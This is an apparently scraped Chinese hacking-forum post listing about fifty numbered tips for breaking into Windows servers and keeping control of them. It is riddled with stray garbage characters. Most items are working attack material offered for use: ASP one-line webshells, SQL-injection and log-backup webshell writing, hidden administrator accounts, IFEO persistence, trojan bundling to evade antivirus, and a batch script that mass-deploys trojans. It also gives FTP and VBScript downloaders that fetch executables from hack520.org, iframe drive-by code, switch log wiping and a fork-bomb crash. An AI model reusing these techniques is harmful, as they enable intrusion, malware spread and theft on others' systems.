Xp系统修改权限防止病毒或木马等破坏系统,cmd下,2 f* b4 J/ P. `
cacls C:\windows\system32 /G hqw20:R
( K# F f; z" s% |思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
O% p7 v7 C' Z( ?# y恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F i5 p- I! Q! _0 M2 D, }* F! N% X" f" ?
( u! h$ a: S1 C
2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
( o ~( o8 x1 W* p
! q+ Z: `, n! K3 F% }9 ~3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。
- W" N! N7 H* y0 ?/ q6 {* Y4 f' ^7 O) N
9 |* q6 c1 N) P; P3 K. f4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号4 |$ z+ E( ]( Z: n: X0 q) O7 q/ d
2 z& x: |$ a, I$ J
5、利用INF文件来修改注册表
+ Y% Q& q# e: P8 f1 c S[Version]
, R6 C, x9 U4 H FSignature="$CHICAGO$": Q8 ~# W* G& m
[Defaultinstall]! T: ]1 X z8 ?# L2 z) m4 u
addREG=Ating
6 k: U# H# ^4 N[Ating]
+ w& ]- i. A9 W; Z4 NHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"4 e6 _" b ?/ e
以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
- }5 {( n' s% n L7 qrundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径
' d$ H! s; x% o1 `% q# ~( e其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU
" e; d& W2 r& u7 n1 i% CHKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU( C. }! \! D- ~; o ]( F. o" c
HKEY_CURRENT_CONFIG 简写为 HKCC
( G0 L0 E/ ^ [% o- E0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值3 e0 f! ~7 Y, }7 v: a
"1"这里代表是写入或删除注册表键值中的具体数据
7 I; @# z- J# z0 ^$ L9 s9 n& ?; |% v8 l$ r
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,
, y! i9 ?8 m) Y: s$ P& {, \! G多了一步就是在防火墙里添加个端口,然后导出其键值
' h. {' n5 m% _1 c0 }" ?! A! ?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
3 L2 h: [9 U! D3 M, h% A6 e4 S: ~! o" N w3 v
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽1 a$ K7 x1 E0 o
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
; ]) T1 `4 ~+ E ?* D7 L# R
: l) `9 \- s; O1 X8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。. W. M1 v, r# M! f
/ R7 T: @; @; B
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,2 S" a6 F, M% R. s
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
$ Q" N; @4 g3 ]+ I: j6 f
4 w W( n# U9 B# y+ X* t. R10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”7 I% p/ d4 H$ k2 r2 B# y
4 H$ }% k6 }8 j) j. u11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
& ^" G/ ~5 K* R7 P, C( I. D2 [, Q用法:xsniff –pass –hide –log pass.txt; `% R& L! p. K2 @
5 ^" |* I4 P& B8 g( n# Z, o
12、google搜索的艺术, Q" i1 ~: a- p1 V1 q* D" E4 c
搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”! h% \4 S' `6 r! K+ j+ r3 `3 ~# e2 p
或“字符串的语法错误”可以找到很多sql注入漏洞。 t5 ^& s2 ]' b# F/ O* d
. P' O3 Z- K7 P
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。# N6 R* k5 c) a% G
6 G' z; J2 O. M) w3 r
14、cmd中输入 nc –vv –l –p 1987. w. C/ e: t' f7 Q
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃
T" ^; B7 M* x9 ^& u; X& c( C2 F; f# |; M' p
15、制作T++木马,先写个ating.hta文件,内容为( P. s, _# q/ k0 N7 l
<script language="VBScript">
q: {0 f" G; Sset wshshell=createobject ("wscript.shell" )
' G. P3 p' d, m, B4 La=wshshell.run("你马的名称",1)
, \& n5 e' `, L; n' c2 n& uwindow.close s% B) {1 _# }- d( _/ M
</script>. E. F. x# k6 M, {
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。
1 _* r/ T0 T) g# s/ W, u
# I" T, X8 Q( x* _) V8 I- g16、搜索栏里输入
N9 T W- |( _7 g- O% v关键字%'and 1=1 and '%'='
* q O- s. ?/ G7 l7 ]5 c2 s关键字%'and 1=2 and '%'='0 W8 C% G7 o1 u5 E
比较不同处 可以作为注入的特征字符
& F p6 ]; \3 {8 U
) L1 L% b& v$ Q5 }17、挂马代码<html>* l$ `1 K: Y# m* l' Y
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
' e V* E4 Q; q</html>
; N# n, V+ h7 |/ R6 Z- J) R
+ G( N- ^4 G0 G0 ~' S4 b18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,
* y5 }" i( \# u% x4 b7 S% o; r9 j3 `net localgroup administrators还是可以看出Guest是管理员来。
9 \' s8 v' g0 h8 s% Y$ i9 r
; ^: W1 a4 m. W, _7 ?19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
& n: I1 A% ^4 {3 p( Q( x用法: 安装: instsrv.exe 服务名称 路径
! ^$ W; a. T' h3 s7 `# m/ Y, Y卸载: instsrv.exe 服务名称 REMOVE
}& B: t# x: B: z; y
+ E: B9 x& f. ~1 T. z: y' ^
7 c. I- c- q' |5 ~6 g# @+ t# c21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉& |- l3 A- { Q- a; B) Q" r
不能注入时要第一时间想到%5c暴库。
0 Q, @$ Y. H$ W$ G. c& b# m; V) n7 Q
6 e( {& j$ |6 m22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~9 U9 @) g, F% q" F: Y/ ~7 p
' Y: l8 S0 N' @) \8 k5 R3 a/ V; V( t23、缺少xp_cmdshell时. _9 o8 r/ x) c6 ?" J7 I
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'$ P- f1 ~* M4 P4 Y- n0 j" z
假如恢复不成功,可以尝试直接加用户(针对开3389的)8 z8 `/ }7 b+ m1 W# n ^
declare @o int$ y$ i" s% S' F, e' r" i1 M( P. q" j
exec sp_oacreate 'wscript.shell',@o out. c* v4 i3 l2 L) I9 s
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员# D( ]9 K, R6 Q8 f, a* _! q
! M0 L) H8 o4 o& @7 T) W, N( Z9 Y
24.批量种植木马.bat5 [; J3 t P/ S9 }- u8 n9 |% O t& N
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中0 R4 `8 p. e) h& H8 V9 _( H
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
7 x) D4 w: |3 z扫描地址.txt里每个主机名一行 用\\开头! K, e* C- {% g+ L$ b
% `8 {& H7 c' x2 U25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。/ U2 _2 H' }2 A3 ~. w8 H* M. Y
3 ]* l- L; z* u, t; \26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.$ U, R8 ^6 ?/ i$ C$ i, N; I6 Z
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下./ `# T$ o5 c$ } w2 e7 C" p
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
! I, M- K$ J) j. e8 m* o
% E0 L z% w' ^5 S27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP
2 [, p( j: @, u6 F* d1 i% H然后用#clear logg和#clear line vty *删除日志
! _" T3 i7 T9 R% \: S8 a. C2 H h$ @% x+ I7 g' x4 r g& w
28、电脑坏了省去重新安装系统的方法
- g& m6 m G5 c! N7 c* j纯dos下执行,) B5 Y( M4 u, W) s2 G
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
! O: M' E8 L# G% [2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config- X+ @) I$ ^3 y1 b6 [ j
j) d" e) Y. }! A3 W/ m \
29、解决TCP/IP筛选 在注册表里有三处,分别是:5 s! _" ?5 Z' g6 L T( {
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
1 x ?: a" y+ e q- \4 f2 t/ |HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
* Y% q: `' ?& f% ]% BHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 |; N9 {. ]# V0 C3 R5 Z分别用
( j3 u1 g x2 O% ~( Vregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip3 K* h3 Z5 t" f) w
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
6 e& b2 Q/ z% W& Vregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip3 g! n, `) Z$ r- W
命令来导出注册表项. R/ J: u- G% T! F7 Q5 o2 D
然后把三个文件里的EnableSecurityFilters"=dword:00000001,
. s8 `7 J+ r: p* k) p% Y! h改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用: o& x* j. S, }+ n i! ]
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。0 U7 x7 F& h: {7 {
- H* \! s- z& P4 L& V6 }30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U* I4 J5 W( [: f
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的36 w+ ?" t4 z g( |/ ^7 Q( `7 }0 \
7 \9 o8 L4 ?9 P7 z. x31、全手工打造开3389工具: m3 P( v5 w) W% k
打开记事本,编辑内容如下:
y+ m( I% ^4 c8 [1 recho [Components] > c:\sql
5 Y2 y9 E. I8 k7 fecho TSEnable = on >> c:\sql
* P' o5 T( [4 u5 m$ d' O Tsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q$ J( ?/ M3 C# F8 f p. z" P' g
编辑好后存为BAT文件,上传至肉鸡,执行5 y' n; N/ d1 d) L. D7 A4 H, W
% i0 T7 { O1 C$ T9 K32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
0 c+ W( ~4 b# ^; w# K- o3 I C# j f8 n' i( B0 l
33、让服务器重启1 P3 z8 h/ a' p' F
写个bat死循环:
( [) f8 b3 i* U@echo off
' S( W7 y. X" {$ S) D/ u% B:loop19 o" `) W9 x+ O
cls
: G _- j, S( a$ v' v. c* Y h. H1 hstart cmd.exe8 Q, E- \: y! E, Z8 j( ]- k
goto loop11 n! w; R u# ^7 t
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启1 Q8 Y, _4 W+ j5 E9 ? y% V
- ^+ B: m0 C4 \# A4 c
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
) r8 {. X7 Z! n* H; ^@echo off
) j" L B$ A5 Q& P9 udate /t >c:/3389.txt
i4 F6 c. Z1 Y( u7 |9 X+ btime /t >>c:/3389.txt
) G; K1 L i. c' `4 q1 Xattrib +s +h c:/3389.bat
0 @) @7 v; Z- P, d; {attrib +s +h c:/3389.txt
& J) ]8 s( q9 G, a, \" m! y" Dnetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt" U) m* P0 |, [% T
并保存为3389.bat
+ `- q. b8 R4 c% I' z打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
) `5 ~: z0 A& P: h W2 b7 y+ [9 ?3 j, V+ R% F# s
35、有时候提不了权限的话,试试这个命令,在命令行里输入:$ L% w' [; E }6 s
start http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)% H$ P/ D$ b) c& U
输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
/ D7 U0 {0 j# o" v6 p4 `: _4 h' H/ o# Q; U9 a( Y# g
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件
- r4 ]3 }6 ]- V+ S) p# V: {echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址6 R/ K X9 W; ]9 M: V# b8 p+ P
echo 你的FTP账号 >>c:\1.bat //输入账号
6 `9 ]( X" V& O6 C8 \& E, |" b& m* Wecho 你的FTP密码 >>c:\1.bat //输入密码
! _* h+ L7 L) ]' c+ w2 Wecho bin >>c:\1.bat //登入
9 I( r/ j) Q0 F; @2 F- aecho get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么% ?: q3 R9 B% ]0 f3 l) r
echo bye >>c:\1.bat //退出2 ^" E: U) A& G# T/ r/ w7 x6 [
然后执行ftp -s:c:\1.bat即可
& `; R6 v# E: C- T; ^ g3 Z& L$ h7 m6 L7 V# K4 D$ x" s. U: v
37、修改注册表开3389两法
5 z+ X1 J1 W9 ~5 E3 o(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
- o+ X0 U7 Z# w4 becho Windows Registry Editor Version 5.00 >>3389.reg
4 t5 B2 g+ ~0 G* @. V/ N) A2 Oecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg* Q: D3 |7 k& b$ ^# ]3 u; O, J
echo "Enabled"="0" >>3389.reg' G E6 M1 m4 u. N# P' n6 _) {
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows6 J3 w$ }" Z6 G' Z
NT\CurrentVersion\Winlogon] >>3389.reg5 p6 g" G: J. R. o' Q) ` e9 N0 }
echo "ShutdownWithoutLogon"="0" >>3389.reg1 l; D/ B$ [9 R6 I$ M' U9 Q
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]: @7 Y0 g! R+ l+ j! G+ K" \
>>3389.reg D1 [" B0 S4 k3 J2 A6 D
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
4 X" H) U! B# Y& N3 h% t) _! y# ?6 S3 Jecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]6 M! H1 y! T" q( L6 D: ^1 p7 g1 e
>>3389.reg
6 F( t5 y/ I& J, Z! t+ techo "TSEnabled"=dword:00000001 >>3389.reg% ?, r. b$ r( I* G
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg' q& }1 G9 Q8 N% Q& V( M
echo "Start"=dword:00000002 >>3389.reg
! F0 P8 _4 G3 Eecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]& P5 ~6 h b& U' c( t) j
>>3389.reg* y9 l7 h7 y2 d U2 d
echo "Start"=dword:00000002 >>3389.reg
( |9 H. @1 W x" Y" `$ ]$ C" A# Wecho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg- D5 l* Y$ A, b$ }- G
echo "Hotkey"="1" >>3389.reg
# a: Q8 m7 e5 P& `echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
( D v6 R5 Q2 G+ qServer\Wds\rdpwd\Tds\tcp] >>3389.reg9 p+ h. d1 r, `! B# N& U
echo "PortNumber"=dword:00000D3D >>3389.reg/ w7 z& H, A; O0 E) a# I3 U
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" F* f% M; r+ _" g& K1 E
Server\WinStations\RDP-Tcp] >>3389.reg
9 I# G7 g/ r9 q5 s4 D0 |7 secho "PortNumber"=dword:00000D3D >>3389.reg
! Q) ]! u! B6 k9 y5 C, h% U把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
; Z9 u8 y; E% q8 E+ I8 v8 }- g(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
, w8 _: l4 O, b# _6 t2 \. P因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效 ~6 l) O( ~ l$ j p ^; S- Z
(2)winxp和win2003终端开启
" f; i) C3 N( H9 ^; b" O8 q用以下ECHO代码写一个REG文件:
4 {5 Z+ T* d- }2 |: q3 Wecho Windows Registry Editor Version 5.00>>3389.reg
6 w# D; [, J4 F. E1 Jecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
]# g4 p8 \! J) `8 @0 K+ ~Server]>>3389.reg
; _" H8 A v6 F& H5 [echo "fDenyTSConnections"=dword:00000000>>3389.reg
9 k4 F/ }0 n2 Y, R+ U. W5 x% xecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal( H4 ?5 {9 f- U ~
Server\Wds\rdpwd\Tds\tcp]>>3389.reg$ G2 u$ f$ k8 J% Z" y& h; |
echo "PortNumber"=dword:00000d3d>>3389.reg
5 f+ X$ m/ j0 T5 ?echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
. g( s9 E8 C: ~0 D# D0 @Server\WinStations\RDP-Tcp]>>3389.reg8 L" J$ C( I- r' }- O
echo "PortNumber"=dword:00000d3d>>3389.reg
0 v* B0 \7 L4 O) o然后regedit /s 3389.reg del 3389.reg3 c S) u) Y) y& n: X W. G
XP下不论开终端还是改终端端口都不需重启
L/ C+ W8 o# K0 p6 v
1 S2 n; }" @& f38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃1 |% U9 Z2 l$ }8 M0 }, {
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'
, M3 }* e7 y! A3 t4 `$ `2 F. c
8 x6 O. D2 j8 D; O1 k, |39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
, `, P: M; x/ q* k6 A" ^(1)数据库文件名应复杂并要有特殊字符2 ` T) ]1 o# l8 r
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源" N; ]1 A3 H- E0 m& ]6 M
将conn.asp文档中的1 I- @6 [! P. K' B+ N7 q2 e5 M D
DBPath = Server.MapPath("数据库.mdb"), |( S. k7 J; |& W( ]; w
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
& g$ q* |* ^& I
6 t7 e6 f9 Z; f7 N$ t I& N修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置$ X: \ G* f: B$ c7 n9 V. ]
(3)不放在WEB目录里
( @+ {4 J) \, ^3 a' A* U8 d/ k% F5 y* [! ~, P
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
2 f( Q9 B$ n: o* u- V可以写两个bat文件$ Y" [5 P; U- x- v3 f( A0 X3 [
@echo off
7 o p& I9 F2 {* g2 G% V, b* v. D@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe2 c6 n+ D, {3 p! i) Q2 e
@del c:\winnt\system32\query.exe, ~6 t3 F' J5 r& J! R
@del %SYSTEMROOT%\system32\dllcache\query.exe
3 e1 w/ ~) ~4 {, p7 O& [3 Y9 i/ Z# N@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的! \; y0 T2 W5 P5 R3 u; D
8 Y' @* @& Z% ~. X
@echo off
) w: s1 q5 t- m b. H- U( H@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
0 N7 V: h* x% F; L3 X@del c:\winnt\system32\tsadmin.exe ?) @1 K5 S- |) D% _
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex" x G- F6 t: |5 F5 m
. N: Y {" S1 k0 C% W6 R) I9 ~6 }
41、映射对方盘符
/ w* W% I' z: n$ E/ Itelnet到他的机器上,1 J) j) b7 d( b3 J# I! m! T
net share 查看有没有默认共享 如果没有,那么就接着运行
& `# U8 e3 u* x' ~3 i) @% }net share c$=c:- c5 L% m) x" ?0 u9 M
net share现在有c$5 ?2 h7 V" C, b! A6 [' G
在自己的机器上运行 S/ N, h/ P# U# g" x3 |
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K. A% L) ~. i* _! l% k5 N3 P
4 b7 w; ]$ {$ q# \" z5 S! B
42、一些很有用的老知识. e/ f& A' Q! }; ~- V! C5 b' i* [4 T! H
type c:\boot.ini ( 查看系统版本 )
' d5 t/ Q$ `. p* a A* ^net start (查看已经启动的服务)
" p; _8 t6 u" q3 C5 z/ I, p! jquery user ( 查看当前终端连接 )8 `% a e& e, R9 x
net user ( 查看当前用户 )4 ~# J, V. O+ k5 l0 ]
net user 用户 密码/add ( 建立账号 )
8 w+ B J5 Z: M- [) n) Tnet localgroup administrators 用户 /add (提升某用户为管理员)
% H! C/ I: _0 g4 e" Mipconfig -all ( 查看IP什么的 )1 U' I* Q; K; Y2 X- Z
netstat -an ( 查看当前网络状态 )6 J4 C8 Q, w9 G3 ]
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
s0 l9 h |0 x克隆时Administrator对应1F4
/ p! U0 y2 S6 v4 oguest对应1F5
* o" ?( d i$ btsinternetuser对应3E8
. {: o& n( L0 Y+ |
/ |- |8 s6 y; w* T" ^" A0 C43、如果对方没开3389,但是装了Remote Administrator Service, L& j( i1 O0 | M; j+ m
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接: J1 O, j7 k, k) W/ f Z; r6 q
解释:用serv-u漏洞导入自己配制好的radmin的注册表信息
- Q+ w. A) g0 A! _) x) Y" f先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"4 c& V- ~* A; q* l: j% H: q
" |* N& _% c: d9 I/ b' k44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)* w+ G8 j7 A) ~" v" p, a
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)9 i: H: j m) ~8 @! ]* u! k( O7 V
' q, ~. Q( L6 q; P' ]. z* [/ d45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)# h9 j, U' p. z. A" l8 S" C
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
' T: j. w- I2 `( |5 v W' o+ I, I^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =
1 F8 r Q1 @1 K# u2 M) |9 dCreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =/ l3 A# e. _; S! c
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
3 ?$ R6 l& O1 P- h8 y(这是完整的一句话,其中没有换行符)& ?1 z3 `/ N" f) d: o
然后下载:0 v3 l z3 i" e4 h/ w
cscript down.vbs http://www.hack520.org/hack.exe hack.exe
9 g8 Z+ A' L1 C, M) l9 g4 f( |) m) Q1 Q6 l$ B
46、一句话木马成功依赖于两个条件:
! k1 U7 M( d# O0 d# q. J1、服务端没有禁止adodb.Stream或FSO组件6 k* C8 M4 u m6 i9 z" P# u
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。 S* ]% G- I, Z" \; E* Z" t
Y* P5 }! Z; E47、利用DB_OWNER权限进行手工备份一句话木马的代码:! X, Q; P; S7 b6 v9 i' v* z' H
;alter database utsz set RECOVERY FULL--/ i P/ a! @( ^6 E
;create table cmd (a image)--8 S4 u% }9 y1 X, J
;backup log utsz to disk = 'D:\cmd' with init--
& g( r& z0 Q; R) z;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--6 O: l) [1 K- t" q- {- y0 [9 N
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--: i" \1 c* y1 d( |9 A
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。
5 q8 i8 _4 ?, K& x" U$ _7 F8 m
% p" I7 K: L# r48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
+ v/ p0 Z4 @: C) |# I) Q7 Y/ ]' l3 c9 x3 C, i+ S1 U
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
/ \7 k6 b% T" R/ q所有会话用 'all'。
8 q/ N3 T' [7 S0 }; T% l-s sessionid 列出会话的信息。: c p2 \" N3 P9 [7 ~4 @' h
-k sessionid 终止会话。
0 R: `" K( F( [+ x5 y1 q4 G-m sessionid 发送消息到会话。8 \4 [# `7 R" f" M8 c
! |1 t, {- s k3 j* F$ r- econfig 配置 telnet 服务器参数。
, r0 k. q$ W! h( k: g X0 W
4 d3 G0 B/ M. r. ]' s. qcommon_options 为:
- p5 o6 |4 A0 P+ q4 K-u user 指定要使用其凭据的用户+ J! A; p, _2 ]8 ~$ C l' C
-p password 用户密码
3 @+ g, _! {% ~% j$ z; @4 B5 ?9 A
3 q$ w1 e. w; y2 G" Econfig_options 为:* [8 ~0 b0 [% ~! `2 V! i
dom = domain 设定用户的默认域
- g6 d- S/ g0 w! T S5 D! [& Kctrlakeymap = yes|no 设定 ALT 键的映射& m8 O' C( y: P' F, ^3 I; I# O
timeout = hh:mm:ss 设定空闲会话超时值
/ b1 t8 V5 M1 G4 v- xtimeoutactive = yes|no 启用空闲会话。
2 e; N1 `0 |3 C. V1 d4 J* ~9 Tmaxfail = attempts 设定断开前失败的登录企图数。
' a6 Y7 O9 T4 I" {maxconn = connections 设定最大连接数。" F2 E) ^! o! H( f
port = number 设定 telnet 端口。# b/ I7 z8 L8 z6 N" s
sec = [+/-]NTLM [+/-]passwd; F7 r/ c( ?8 f2 z8 R
设定身份验证机构1 a d( [9 |! }( o# x
fname = file 指定审计文件名。/ W" E5 d# E7 ?# a* s
fsize = size 指定审计文件的最大尺寸(MB)。
0 m) ?6 i" I) U: X- Tmode = console|stream 指定操作模式。
5 f( c p1 z3 lauditlocation = eventlog|file|both- Q& y) F) g- a# Y( B! |( Q9 y
指定记录地点, P, n$ b2 f( D/ p y
audit = [+/-]user [+/-]fail [+/-]admin
$ I$ J: f5 J7 c: f/ t4 {5 H+ `, h B0 b. U
49、例如:在IE上访问:
2 N( k0 t$ Z5 Ywww.hack520.org/hack.txt就会跳转到http://www.hack520.org/+ z6 z: A1 P7 l5 r
hack.txt里面的代码是:
- @6 i- d% i( |& G0 _0 d1 U1 k<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
& ` _& w; {% S' d& N1 z0 I把这个hack.txt发到你空间就可以了!/ r, C* u3 k% ^& H' V+ W" D0 i
这个可以利用来做网马哦!
! O4 I4 i- @' ~7 l% g0 B
2 m' P8 _- }# ]7 W50、autorun的病毒可以通过手动限制!
" P6 \2 J2 ?) t) `1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!5 m8 E, L7 m* C, V+ Q7 m9 A. X3 P2 G
2,打开盘符用右键打开!切忌双击盘符~/ M1 t4 J& x6 L) b; z
3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
% F. Q9 n# N, | X& W& j
( T0 [8 Y R b8 G51、log备份时的一句话木马:
, R; u, B( ]6 b p) N$ U8 S ta).<%%25Execute(request("go"))%%25>) j {! x6 d2 b2 d" y y
b).<%Execute(request("go"))%>' {0 N) R8 @( E6 b' g6 X2 W% C2 J% @
c).%><%execute request("go")%><%
( Q: J: [ L; O6 X3 yd).<script language=VBScript runat=server>execute request("sb")</Script>. ?- L) z! d( U/ V+ x
e).<%25Execute(request("l"))%25>
0 k- ?, a/ T) W+ y8 R- w& cf).<%if request("cmd")<>"" then execute request("pass")%>
~6 w2 E& `' ~7 T3 N V
+ ~" ?6 w. D+ Y( Y a; U) L+ R52、at "12:17" /interactive cmd
